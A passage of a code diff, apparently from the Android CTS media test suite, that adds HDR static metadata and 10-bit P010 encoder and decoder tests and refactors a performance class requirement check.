@@ -1353,6 +1421,14 @@
             fail("no valid component available for current test ");
         }
     }
+
+    @After
+    public void tearDown() {
+        if (mCodec != null) {
+            mCodec.release();
+            mCodec = null;
+        }
+    }
 }
 
 class CodecDecoderTestBase extends CodecTestBase {
@@ -1664,6 +1740,26 @@
         mCodec.release();
         mExtractor.release();
     }
+
+    void validateHDRStaticMetaData(String parent, String name, ByteBuffer HDRStatic,
+                                   boolean ignoreContainerStaticInfo)
+            throws IOException, InterruptedException {
+        mOutputBuff = new OutputManager();
+        MediaFormat format = setUpSource(parent, name);
+        if (ignoreContainerStaticInfo) {
+            format.removeKey(MediaFormat.KEY_HDR_STATIC_INFO);
+        }
+        mCodec = MediaCodec.createByCodecName(mCodecName);
+        configureCodec(format, true, true, false);
+        mCodec.start();
+        doWork(10);
+        queueEOS();
+        waitForAllOutputs();
+        validateHDRStaticMetaData(mCodec.getOutputFormat(), HDRStatic);
+        mCodec.stop();
+        mCodec.release();
+        mExtractor.release();
+    }
 }
 
 class CodecEncoderTestBase extends CodecTestBase {
@@ -1672,6 +1768,9 @@
     // files are in WorkDir.getMediaDirString();
     private static final String INPUT_AUDIO_FILE = "bbb_2ch_44kHz_s16le.raw";
     private static final String INPUT_VIDEO_FILE = "bbb_cif_yuv420p_30fps.yuv";
+    protected static final String INPUT_AUDIO_FILE_HBD = "audio/sd_2ch_48kHz_f32le.raw";
+    protected static final String INPUT_VIDEO_FILE_HBD = "cosmat_cif_24fps_yuv420p16le.yuv";
+
     private final int INP_FRM_WIDTH = 352;
     private final int INP_FRM_HEIGHT = 288;
 
diff --git a/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java b/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java
new file mode 100644
index 0000000..31ba0ba
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import android.media.MediaFormat;
+import android.os.Build;
+
+import androidx.test.filters.SdkSuppress;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Assume;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+/**
+ * Test to validate hdr static metadata in decoders
+ */
+@RunWith(Parameterized.class)
+// P010 support was added in Android T, hence limit the following tests to Android T and above
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu")
+public class DecoderHDRInfoTest extends CodecDecoderTestBase {
+    private static final String LOG_TAG = DecoderHDRInfoTest.class.getSimpleName();
+    private static final String HDR_STATIC_INFO =
+            "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 a0 0f 32 00 10 27 df 0d";
+    private static final String HDR_STATIC_INCORRECT_INFO =
+            "00 d0 84 80 3e c2 33 c4 86 10 27 d0 07 13 3d 42 40 a0 0f 32 00 10 27 df 0d";
+
+    private final ByteBuffer mHDRStaticInfoStream;
+    private final ByteBuffer mHDRStaticInfoContainer;
+
+    public DecoderHDRInfoTest(String codecName, String mediaType, String testFile,
+                              String hdrStaticInfoStream, String hdrStaticInfoContainer) {
+        super(codecName, mediaType, testFile);
+        mHDRStaticInfoStream = hdrStaticInfoStream != null ?
+                ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoStream)) : null;
+        mHDRStaticInfoContainer = hdrStaticInfoContainer != null ?
+                ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoContainer)) : null;
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}_{1})")
+    public static Collection<Object[]> input() {
+        final boolean isEncoder = false;
+        final boolean needAudio = false;
+        final boolean needVideo = true;
+        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+                // codecMediaType, testFile, hdrInfo in stream, hdrInfo in container
+                {MediaFormat.MIMETYPE_VIDEO_HEVC,
+                        "cosmat_352x288_hdr10_stream_and_container_correct_hevc.mkv",
+                        HDR_STATIC_INFO, HDR_STATIC_INFO},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC,
+                        "cosmat_352x288_hdr10_stream_correct_container_incorrect_hevc.mkv",
+                        HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_only_stream_hevc.mkv",
+                        HDR_STATIC_INFO, null},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_only_container_hevc.mkv",
+                        null, HDR_STATIC_INFO},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, "cosmat_352x288_hdr10_only_container_vp9.mkv",
+                        null, HDR_STATIC_INFO},
+                {MediaFormat.MIMETYPE_VIDEO_AV1,
+                        "cosmat_352x288_hdr10_stream_and_container_correct_av1.mkv",
+                        HDR_STATIC_INFO, HDR_STATIC_INFO},
+                {MediaFormat.MIMETYPE_VIDEO_AV1,
+                        "cosmat_352x288_hdr10_stream_correct_container_incorrect_av1.mkv",
+                        HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO},
+                {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_only_stream_av1.mkv",
+                        HDR_STATIC_INFO, null},
+                {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_only_container_av1.mkv",
+                        null, HDR_STATIC_INFO},
+        });
+        return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
+    }
+
+    @SmallTest
+    @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
+    public void testHDRMetadata() throws IOException, InterruptedException {
+        MediaFormat format = setUpSource(mTestFile);
+        mExtractor.release();
+        ArrayList<MediaFormat> formats = new ArrayList<>();
+        formats.add(format);
+        Assume.assumeTrue(areFormatsSupported(mCodecName, mMime, formats));
+        if (mHDRStaticInfoContainer != null) {
+            validateHDRStaticMetaData(format, mHDRStaticInfoContainer);
+        }
+
+        validateHDRStaticMetaData(mInpPrefix, mTestFile,
+                mHDRStaticInfoStream == null ? mHDRStaticInfoContainer : mHDRStaticInfoStream,
+                false);
+        if (mHDRStaticInfoStream != null) {
+            if (EncoderHDRInfoTest.mCheckESList.contains(mMime)) {
+                validateHDRStaticMetaData(mInpPrefix, mTestFile, mHDRStaticInfoStream, true);
+            }
+        }
+    }
+}
diff --git a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
index 7a9ce5e..fb7e16e 100644
--- a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
@@ -17,6 +17,7 @@
 package android.mediav2.cts;
 
 import android.media.MediaCodec;
+import android.media.MediaCodecList;
 import android.media.MediaFormat;
 import android.media.MediaMuxer;
 import android.os.Build;
@@ -38,6 +39,8 @@
 import java.util.Collection;
 import java.util.List;
 
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
 /**
@@ -50,6 +53,7 @@
     private int mRange;
     private int mStandard;
     private int mTransferCurve;
+    private boolean mUseHighBitDepth;
     private MediaFormat mConfigFormat;
 
     private MediaMuxer mMuxer;
@@ -60,11 +64,12 @@
     private static boolean sIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
 
     public EncoderColorAspectsTest(String encoderName, String mime, int width, int height,
-            int range, int standard, int transferCurve) {
+            int range, int standard, int transferCurve, boolean useHighBitDepth) {
         super(encoderName, mime, new int[]{64000}, new int[]{width}, new int[]{height});
         mRange = range;
         mStandard = standard;
         mTransferCurve = transferCurve;
+        mUseHighBitDepth = useHighBitDepth;
         mWidth = width;
         mHeight = height;
         setUpParams(1);
@@ -94,6 +99,29 @@
         super.dequeueOutput(bufferIndex, info);
     }
 
+    private static void prepareArgsList(List<Object[]> exhaustiveArgsList,
+            List<String> stringArgsList, String[] mediaTypes, int[] ranges, int[] standards,
+            int[] transfers, boolean useHighBitDepth) {
+        // Assuming all combinations are supported by the standard which is true for AVC, HEVC, AV1,
+        // VP8 and VP9.
+        for (String mediaType : mediaTypes) {
+            for (int range : ranges) {
+                for (int standard : standards) {
+                    for (int transfer : transfers) {
+                        String currentObject =
+                                mediaType + "_" + range + "_" + standard + "_" + transfer;
+                        if (!stringArgsList.contains(currentObject)) {
+                            exhaustiveArgsList
+                                    .add(new Object[]{mediaType, 176, 144, range, standard,
+                                            transfer, useHighBitDepth});
+                            stringArgsList.add(currentObject);
+                        }
+                    }
+                }
+            }
+        }
+    }
+
     @Parameterized.Parameters(name = "{index}({0}_{1}_{4}_{5}_{6})")
     public static Collection<Object[]> input() {
         final boolean isEncoder = true;
@@ -111,25 +139,33 @@
                 UNSPECIFIED,
                 MediaFormat.COLOR_STANDARD_BT709,
                 MediaFormat.COLOR_STANDARD_BT601_PAL,
-                MediaFormat.COLOR_STANDARD_BT601_NTSC,
-                MediaFormat.COLOR_STANDARD_BT2020};
+                MediaFormat.COLOR_STANDARD_BT601_NTSC};
         int[] transfers = {-1,
                 UNSPECIFIED,
                 MediaFormat.COLOR_TRANSFER_LINEAR,
                 MediaFormat.COLOR_TRANSFER_SDR_VIDEO};
-        // TODO: COLOR_TRANSFER_ST2084, COLOR_TRANSFER_HLG are for 10 bit and above. Should these
-        //  be tested as well?
+
+        String[] mediaTypesHighBitDepth = {MediaFormat.MIMETYPE_VIDEO_AVC,
+                MediaFormat.MIMETYPE_VIDEO_HEVC,
+                MediaFormat.MIMETYPE_VIDEO_VP9,
+                MediaFormat.MIMETYPE_VIDEO_AV1};
+        int[] standardsHighBitDepth = {-1,
+                UNSPECIFIED,
+                MediaFormat.COLOR_STANDARD_BT2020};
+        int[] transfersHighBitDepth = {-1,
+                UNSPECIFIED,
+                MediaFormat.COLOR_TRANSFER_HLG,
+                MediaFormat.COLOR_TRANSFER_ST2084};
+
         List<Object[]> exhaustiveArgsList = new ArrayList<>();
-        // Assumes all combinations are supported by the standard
-        for (String mime : mimes) {
-            for (int range : ranges) {
-                for (int standard : standards) {
-                    for (int transfer : transfers) {
-                        exhaustiveArgsList
-                                .add(new Object[]{mime, 176, 144, range, standard, transfer});
-                    }
-                }
-            }
+        List<String> stringArgsList = new ArrayList<>();
+        prepareArgsList(exhaustiveArgsList, stringArgsList, mimes, ranges, standards, transfers,
+                false);
+        // P010 support was added in Android T, hence limit the following tests to Android T and
+        // above
+        if (IS_AT_LEAST_T) {
+            prepareArgsList(exhaustiveArgsList, stringArgsList, mediaTypesHighBitDepth, ranges,
+                    standardsHighBitDepth, transfersHighBitDepth, true);
         }
         return CodecTestBase
                 .prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
@@ -139,7 +175,14 @@
     @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
     public void testColorAspects() throws IOException, InterruptedException {
         Assume.assumeTrue("Test introduced with Android 11", sIsAtLeastR);
-        setUpSource(mInputFile);
+        String inputTestFile = mInputFile;
+        if (mUseHighBitDepth) {
+            Assume.assumeTrue(hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010));
+            mConfigFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010);
+            mBytesPerSample = 2;
+            inputTestFile = INPUT_VIDEO_FILE_HBD;
+        }
+        setUpSource(inputTestFile);
         mOutputBuff = new OutputManager();
         {
             mCodec = MediaCodec.createByCodecName(mCodecName);
@@ -156,10 +199,10 @@
             if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP8) ||
                     mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
                 muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM;
-                tmpFile = File.createTempFile("tmp", ".webm");
+                tmpFile = File.createTempFile("tmp" + (mUseHighBitDepth ? "10bit" : ""), ".webm");
             } else {
                 muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4;
-                tmpFile = File.createTempFile("tmp", ".mp4");
+                tmpFile = File.createTempFile("tmp" + (mUseHighBitDepth ? "10bit" : ""), ".mp4");
             }
             mMuxer = new MediaMuxer(tmpFile.getAbsolutePath(), muxerFormat);
             configureCodec(mConfigFormat, true, true, true);
@@ -185,19 +228,25 @@
             mCodec.release();
 
             // verify if the muxed file contains color aspects as expected
-            CodecDecoderTestBase cdtb = new CodecDecoderTestBase(null, mMime, null);
+            MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+            String decoder = codecList.findDecoderForFormat(mConfigFormat);
+            assertNotNull("Device advertises support for encoding " + mConfigFormat.toString() +
+                    " but not decoding it", decoder);
+            CodecDecoderTestBase cdtb = new CodecDecoderTestBase(decoder, mMime,
+                    tmpFile.getAbsolutePath());
             String parent = tmpFile.getParent();
             if (parent != null) parent += File.separator;
             else parent = "";
-            cdtb.validateColorAspects(null, parent, tmpFile.getName(), mRange, mStandard,
+            cdtb.validateColorAspects(decoder, parent, tmpFile.getName(), mRange, mStandard,
                     mTransferCurve, false);
 
             // if color metadata can also be signalled via elementary stream then verify if the
             // elementary stream contains color aspects as expected
             if (mCheckESList.contains(mMime)) {
-                cdtb.validateColorAspects(null, parent, tmpFile.getName(), mRange, mStandard,
+                cdtb.validateColorAspects(decoder, parent, tmpFile.getName(), mRange, mStandard,
                         mTransferCurve, true);
             }
+            tmpFile.delete();
         }
     }
 }
diff --git a/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java b/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java
new file mode 100644
index 0000000..3a77954
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+import android.media.MediaMuxer;
+import android.os.Build;
+
+import androidx.test.filters.SdkSuppress;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Assume;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.File;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
+import static android.media.MediaCodecInfo.CodecProfileLevel.*;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * Test to validate hdr static metadata in encoders
+ */
+@RunWith(Parameterized.class)
+// P010 support was added in Android T, hence limit the following tests to Android T and above
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu")
+public class EncoderHDRInfoTest extends CodecEncoderTestBase {
+    private static final String LOG_TAG = EncoderHDRInfoTest.class.getSimpleName();
+
+    private MediaMuxer mMuxer;
+    private int mTrackID = -1;
+
+    static final ArrayList<String> mCheckESList = new ArrayList<>();
+
+    static {
+        mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
+        mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AVC);
+        mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
+    }
+
+    public EncoderHDRInfoTest(String encoderName, String mime, int bitrate, int width,
+                              int height) {
+        super(encoderName, mime, new int[]{bitrate}, new int[]{width}, new int[]{height});
+    }
+
+    void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
+        if (info.size > 0) {
+            ByteBuffer buf = mCodec.getOutputBuffer(bufferIndex);
+            if (mMuxer != null) {
+                if (mTrackID == -1) {
+                    mTrackID = mMuxer.addTrack(mCodec.getOutputFormat());
+                    mMuxer.start();
+                }
+                mMuxer.writeSampleData(mTrackID, buf, info);
+            }
+        }
+        super.dequeueOutput(bufferIndex, info);
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}_{1})")
+    public static Collection<Object[]> input() {
+        final boolean isEncoder = true;
+        final boolean needAudio = false;
+        final boolean needVideo = true;
+
+        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+                {MediaFormat.MIMETYPE_VIDEO_AV1, 512000, 352, 288},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, 512000, 352, 288},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, 512000, 352, 288},
+        });
+
+        return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
+    }
+
+    @SmallTest
+    @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
+    public void testHDRMetadata() throws IOException, InterruptedException {
+        setUpParams(1);
+        MediaFormat format = mFormats.get(0);
+        final ByteBuffer hdrStaticInfo = ByteBuffer.wrap(loadByteArrayFromString(HDR_STATIC_INFO));
+        int profile = mProfileHdr10Map.getOrDefault(mMime, new int[]{-1})[0];
+        format.setInteger(MediaFormat.KEY_PROFILE, profile);
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010);
+        format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
+        format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT2020);
+        format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_ST2084);
+        format.setByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, hdrStaticInfo);
+        mFormats.clear();
+        mFormats.add(format);
+        Assume.assumeTrue(mCodecName + " does not support HDR10 profile",
+                areFormatsSupported(mCodecName, mMime, mFormats));
+        Assume.assumeTrue(mCodecName + " does not support color format COLOR_FormatYUVP010",
+                hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010));
+        mBytesPerSample = 2;
+        setUpSource(INPUT_VIDEO_FILE_HBD);
+        mOutputBuff = new OutputManager();
+        mCodec = MediaCodec.createByCodecName(mCodecName);
+        mOutputBuff.reset();
+        String log = String.format("format: %s \n codec: %s:: ", format, mCodecName);
+        File tmpFile;
+        int muxerFormat;
+        if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
+            muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM;
+            tmpFile = File.createTempFile("tmp10bit", ".webm");
+        } else {
+            muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4;
+            tmpFile = File.createTempFile("tmp10bit", ".mp4");
+        }
+        mMuxer = new MediaMuxer(tmpFile.getAbsolutePath(), muxerFormat);
+        configureCodec(format, true, true, true);
+        mCodec.start();
+        doWork(4);
+        queueEOS();
+        waitForAllOutputs();
+        if (mTrackID != -1) {
+            mMuxer.stop();
+            mTrackID = -1;
+        }
+        if (mMuxer != null) {
+            mMuxer.release();
+            mMuxer = null;
+        }
+        assertTrue(log + "unexpected error", !mAsyncHandle.hasSeenError());
+        assertTrue(log + "no input sent", 0 != mInputCount);
+        assertTrue(log + "output received", 0 != mOutputCount);
+
+        MediaFormat fmt = mCodec.getOutputFormat();
+        mCodec.stop();
+        mCodec.release();
+
+        // verify if the out fmt contains HDR Static metadata as expected
+        validateHDRStaticMetaData(fmt, hdrStaticInfo);
+
+        // verify if the muxed file contains HDR Static metadata as expected
+        MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        String decoder = codecList.findDecoderForFormat(format);
+        assertNotNull("Device advertises support for encoding " + format.toString() +
+                " but not decoding it", decoder);
+        CodecDecoderTestBase cdtb =
+                new CodecDecoderTestBase(decoder, mMime, tmpFile.getAbsolutePath());
+        String parent = tmpFile.getParent();
+        if (parent != null) parent += File.separator;
+        else parent = "";
+        cdtb.validateHDRStaticMetaData(parent, tmpFile.getName(), hdrStaticInfo, false);
+
+        // if HDR static metadata can also be signalled via elementary stream then verify if
+        // the elementary stream contains HDR static data as expected
+        if (mCheckESList.contains(mMime)) {
+            cdtb.validateHDRStaticMetaData(parent, tmpFile.getName(), hdrStaticInfo, true);
+        }
+
+        tmpFile.delete();
+    }
+}
diff --git a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
index 741402f..c196d6e 100644
--- a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
@@ -38,6 +38,7 @@
 import java.util.HashMap;
 import java.util.List;
 
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
 import static android.media.MediaCodecInfo.CodecProfileLevel.*;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
@@ -52,12 +53,15 @@
     private static final String LOG_TAG = EncoderProfileLevelTest.class.getSimpleName();
     private static final HashMap<String, Pair<int[], Integer>> mProfileLevelCdd = new HashMap<>();
 
+    private final boolean mUseHighBitDepth;
+
     private MediaFormat mConfigFormat;
     private MediaMuxer mMuxer;
 
     public EncoderProfileLevelTest(String encoder, String mime, int bitrate, int encoderInfo1,
-            int encoderInfo2, int frameRate) {
+            int encoderInfo2, int frameRate, boolean useHighBitDepth) {
         super(encoder, mime, new int[]{bitrate}, new int[]{encoderInfo1}, new int[]{encoderInfo2});
+        mUseHighBitDepth = useHighBitDepth;
         if (mIsAudio) {
             mSampleRate = encoderInfo1;
             mChannels = encoderInfo2;
@@ -70,7 +74,7 @@
         mConfigFormat = mFormats.get(0);
     }
 
-    @Parameterized.Parameters(name = "{index}({0}_{1})")
+    @Parameterized.Parameters(name = "{index}({0}_{1}_{2}_{3}_{4}_{6})")
     public static Collection<Object[]> input() {
         final boolean isEncoder = true;
         final boolean needAudio = true;
@@ -185,8 +189,25 @@
                 {MediaFormat.MIMETYPE_VIDEO_VP8, 512000, 176, 144, 20},
                 {MediaFormat.MIMETYPE_VIDEO_VP8, 512000, 480, 360, 20},
         });
-
-        return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
+        final List<Object[]> argsList = new ArrayList<>();
+        for (Object[] arg : exhaustiveArgsList) {
+            int argLength = exhaustiveArgsList.get(0).length;
+            Object[] testArgs = new Object[argLength + 1];
+            System.arraycopy(arg, 0, testArgs, 0, argLength);
+            testArgs[argLength] = false;
+            argsList.add(testArgs);
+            // P010 support was added in Android T, hence limit the following tests to Android T and
+            // above
+            if (IS_AT_LEAST_T) {
+                if (mProfileHdrMap.get(arg[0]) != null) {
+                    Object[] testArgsHighBitDepth = new Object[argLength + 1];
+                    System.arraycopy(arg, 0, testArgsHighBitDepth, 0, argLength);
+                    testArgsHighBitDepth[argLength] = true;
+                    argsList.add(testArgsHighBitDepth);
+                }
+            }
+        }
+        return prepareParamList(argsList, isEncoder, needAudio, needVideo, false);
     }
 
     static {
@@ -649,8 +670,26 @@
      */
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testValidateProfileLevel() throws IOException, InterruptedException {
-        int[] profiles = mProfileSdrMap.get(mMime);
+        int[] profiles;
+        String inputTestFile = mInputFile;
+        MediaFormat format = mConfigFormat;
+        String outputFilePrefix = "tmp";
+        if (mIsAudio) {
+            profiles = mProfileMap.get(mMime);
+        } else {
+            if (mUseHighBitDepth) {
+                Assume.assumeTrue(hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010));
+                format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010);
+                mBytesPerSample = 2;
+                inputTestFile = INPUT_VIDEO_FILE_HBD;
+                outputFilePrefix += "_10bit";
+                profiles = mProfileHlgMap.get(mMime);
+            } else {
+                profiles = mProfileSdrMap.get(mMime);
+            }
+        }
         assertTrue("no profile entry found for mime" + mMime, profiles != null);
+
         // cdd check initialization
         boolean cddSupportedMime = mProfileLevelCdd.get(mMime) != null;
         int[] profileCdd = new int[0];
@@ -660,11 +699,11 @@
             profileCdd = cddProfileLevel.first;
             levelCdd = cddProfileLevel.second;
         }
-        MediaFormat format = mConfigFormat;
         mOutputBuff = new OutputManager();
-        setUpSource(mInputFile);
+        setUpSource(inputTestFile);
         mSaveToMem = true;
-        String tempMuxedFile = File.createTempFile("tmp", ".out").getAbsolutePath();
+
+        String tempMuxedFile = File.createTempFile(outputFilePrefix, ".bin").getAbsolutePath();
         {
             mCodec = MediaCodec.createByCodecName(mCodecName);
             MediaCodecInfo.CodecCapabilities codecCapabilities =
diff --git a/tests/media/src/android/mediav2/cts/WorkDir.java b/tests/media/src/android/mediav2/cts/WorkDir.java
index 9424638..9011b62 100644
--- a/tests/media/src/android/mediav2/cts/WorkDir.java
+++ b/tests/media/src/android/mediav2/cts/WorkDir.java
@@ -40,7 +40,7 @@
             // user has specified the mediaDirString via instrumentation-arg
             return mediaDirString + ((mediaDirString.endsWith("/")) ? "" : "/");
         } else {
-            return (getTopDirString() + "test/CtsMediaV2TestCases-2.2/");
+            return (getTopDirString() + "test/CtsMediaV2TestCases-2.3/");
         }
     }
 }
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/RequiredMeasurement.java b/tests/mediapc/common/src/android/mediapc/cts/common/RequiredMeasurement.java
index 92d3bff..c5cee03 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/RequiredMeasurement.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/RequiredMeasurement.java
@@ -73,7 +73,7 @@
         public abstract RequiredMeasurement<T> build();
     }
 
-    private final RequirementConstants.Result meetsPerformanceClass(int mediaPerformanceClass) {
+    public final RequirementConstants.Result meetsPerformanceClass(int mediaPerformanceClass) {
         if (!this.expectedValues().containsKey(mediaPerformanceClass)) {
             return RequirementConstants.Result.NA;
         } else if (this.measuredValue == null || !this.predicate().test(this.measuredValue,
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/Requirement.java b/tests/mediapc/common/src/android/mediapc/cts/common/Requirement.java
index 9f0bc44..d6cf8d4 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/Requirement.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/Requirement.java
@@ -26,6 +26,7 @@
 import com.google.common.annotations.VisibleForTesting;
 import com.google.common.collect.ImmutableMap;
 
+import java.util.Collections;
 import java.util.HashMap;
 import java.util.Map;
 
@@ -89,35 +90,18 @@
     }
 
     @VisibleForTesting
-    protected boolean checkPerformanceClass(String testName, int reportPerfClass,
-            int expectedPerfClass) {
-        if (reportPerfClass < expectedPerfClass) {
-            Log.w(Requirement.TAG, "Test: " + testName + " reporting invalid performance class " +
-                reportPerfClass + " for requirement " + this.id + " performance class should at " +
-                "least be: " + expectedPerfClass);
-            for (RequiredMeasurement<?> rm: this.mRequiredMeasurements.values()) {
-                Map<Integer, RequirementConstants.Result> perfClasses = rm.getPerformanceClass();
-                int maxMetPerformanceClass = 0;
-                for (int pc: perfClasses.keySet()) {
-                    if (perfClasses.get(pc) == RequirementConstants.Result.MET) {
-                        maxMetPerformanceClass = Math.max(maxMetPerformanceClass, pc);
-                    }
-                }
-
-                if (maxMetPerformanceClass < expectedPerfClass) {
-                    Log.w(Requirement.TAG, rm.toString());
-                } else {
-                    Log.i(Requirement.TAG, rm.toString());
-                }
+    protected boolean checkPerformanceClass(int devicePerfClass) {
+        boolean noResultsUnment = true;
+        for (RequiredMeasurement<?> rm: this.mRequiredMeasurements.values()) {
+            RequirementConstants.Result res = rm.meetsPerformanceClass(devicePerfClass);
+            if (res == RequirementConstants.Result.UNMET) {
+                Log.w(Requirement.TAG, rm.toString());
+                noResultsUnment = false;
+            } else {
+                Log.i(Requirement.TAG, rm.toString());
             }
-            return false;
-        } else {
-            return true;
         }
-    }
-
-    private boolean checkPerformanceClass(String testName, int reportPerfClass) {
-        return this.checkPerformanceClass(testName, reportPerfClass, Utils.getPerfClass());
+        return noResultsUnment;
     }
 
     protected <T> void setMeasuredValue(String measurement, T measuredValue) {
@@ -142,6 +126,6 @@
             ResultUnit.NONE);
         log.submit(InstrumentationRegistry.getInstrumentation());
 
-        return this.checkPerformanceClass(testName, perfClass);
+        return this.checkPerformanceClass(Utils.getPerfClass());
     }
 }
diff --git a/tests/mediapc/common/tests/src/android/mediapc/cts/common/RequirementTest.java b/tests/mediapc/common/tests/src/android/mediapc/cts/common/RequirementTest.java
index b330724..04dd6f0e 100644
--- a/tests/mediapc/common/tests/src/android/mediapc/cts/common/RequirementTest.java
+++ b/tests/mediapc/common/tests/src/android/mediapc/cts/common/RequirementTest.java
@@ -28,103 +28,158 @@
             super(id, reqs);
         }
 
-        public void setGTEMeasurement(int measure) {
+        public void setMeasurement1(int measure) {
